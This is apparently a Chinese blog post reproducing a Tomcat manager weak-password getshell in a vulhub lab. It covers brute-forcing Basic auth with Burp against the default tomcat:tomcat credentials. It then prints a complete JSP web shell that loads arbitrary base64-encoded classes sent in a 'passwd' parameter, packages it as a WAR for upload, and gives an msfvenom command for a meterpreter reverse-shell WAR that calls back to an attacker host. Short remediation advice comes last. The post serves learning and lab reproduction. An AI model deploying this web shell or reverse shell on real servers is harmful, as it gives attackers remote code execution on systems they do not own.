tomcat弱口令后台getshell漏洞复现

漏洞描述

tomcat是一个用于快速部署jsp网站的中间件

tomcat默认的管理页面manager使用basic认证用户名密码登录,可以使用burp进行爆破,并且一般安装后如果不修改/conf/tomcat-users.xml文件中的默认用户名密码tomcat:tomcat,可以登录管理后台,在部署war包后tomcat默认会将war包中的项目部署,由于可以任意的上传,所以我们可以将jsp文件打包为一个war文件上传getshell

tomcat默认目录解析

  • bin : 存放启动和关闭tomcat服务的可执行文件,例如.bat .exe .sh
  • catalina.sh: 主要用于启动和管理tomcat服务器
  • startup.sh : 启动tomcat服务
  • shutdown.sh : 关闭tomcat服务
  • configtest.sh : 检查配置文件
  • conf : 存放配置文件
    • server.xml: 全局配置文件
    • web.xml: 控制tomcat支持的文件类型
    • tomcat-users.xml : tomcat用户配置文件
  • lib : 各种jar文件,tomcat库文件
  • logs : 日志文件
  • webapps : Web应用程序目录,其中可能默认还有以下目录
    • examples : 该目录是一个tomcat部署的一个默认项目,其中会展示tomcat的功能
    • ROOT : 是Web服务的默认目录,例如在访问http://localhost:8080/目录时,默认访问呢就是该目录的文件
    • manager : tomcat的管理应用,用于远程部署、启动、停止和卸载Web应用。这个应用通常需要管理员权限才能访问,该页面的用户配置文件由conf/tomcat-users.xml配置
    • host-manager : 管理虚拟主机,需要管理员权限

这里只做简单了解。

漏洞利用

使用vulhub进行漏洞复现

cd vulhub/tomcat/tomcat8
sudo docker-compose up -d

该漏洞场景是部署没有修改的配置文件tomcat-users.xml,其中用户名和密码都是tomcat,这里我们为了学习更多的方法,采用burp尝试爆破basic认证
点击mananger app或者直接访问manager目录,会提示登录,这里随便输入使用burp抓包提交

发送到爆破模块

YWRtaW46YWRtaW4=进行base64解码

所以这里需要添加三个参数并且拼接到一起,这是最好的方式是使用自定义迭代的方法
格式为: 用户名:密码,然后提交的时候进行base64加密,这里我们使用默认模式sniper(狙击手)

配置每个位置的值,注意这里每个用户名变量都使用自定义迭代器
第一个就是用户名变量,由于这里我们知道用户和密码,只是做一些爆破测试,手动加入一些常见的用户名,选择位置为1

第二个变量是用户名和密码的分解符,所以直接加入:即可,选择位置2

第三个变量是密码变量,手动加入一些密码测试爆破,选择位置3

取消默认将参数值进行url编码

最后进行base64编码

最后开始爆破

通过状态码为200表示爆破成功,我们进行base64解密后台用户名密码就是tomcat:tomcat

接着我们访问并登录后台找到上传war文件位置

这是需要执着一个war的包,可以自己手动打包,jsp一句话木马代码如下,密码为passwd

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

使用jar cvf test.war test.jsp打包

将该test.war上传后tomcat直接会部署该项目,根据文件名生成一个目录,并将我们打包的test.jsp放到目录中,所以只需要访问test/test.jsp即可


访问成功,空白页面

使用蚁剑连接

额外的技巧,使用msfvenom也可以生成war后门文件,如下

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=172.25.0.1 LPORT=4444 -f war -o shell.war

上传后只需要启动msfconsole然后use multi/handler,设置payload和相关参数,可以获得一个更强的meterpreter shell
感兴趣可以手动尝试。

漏洞修复建议

  1. conf/tomcat-users.xml中的用户名和密码都进行更改,改的极其复杂,更改后记得重启服务器
  2. manager目录下的功能暂时关闭,需要的时候打开
posted @ 2024-04-08 19:45  Junglezt  阅读(1151)  评论(0编辑  收藏  举报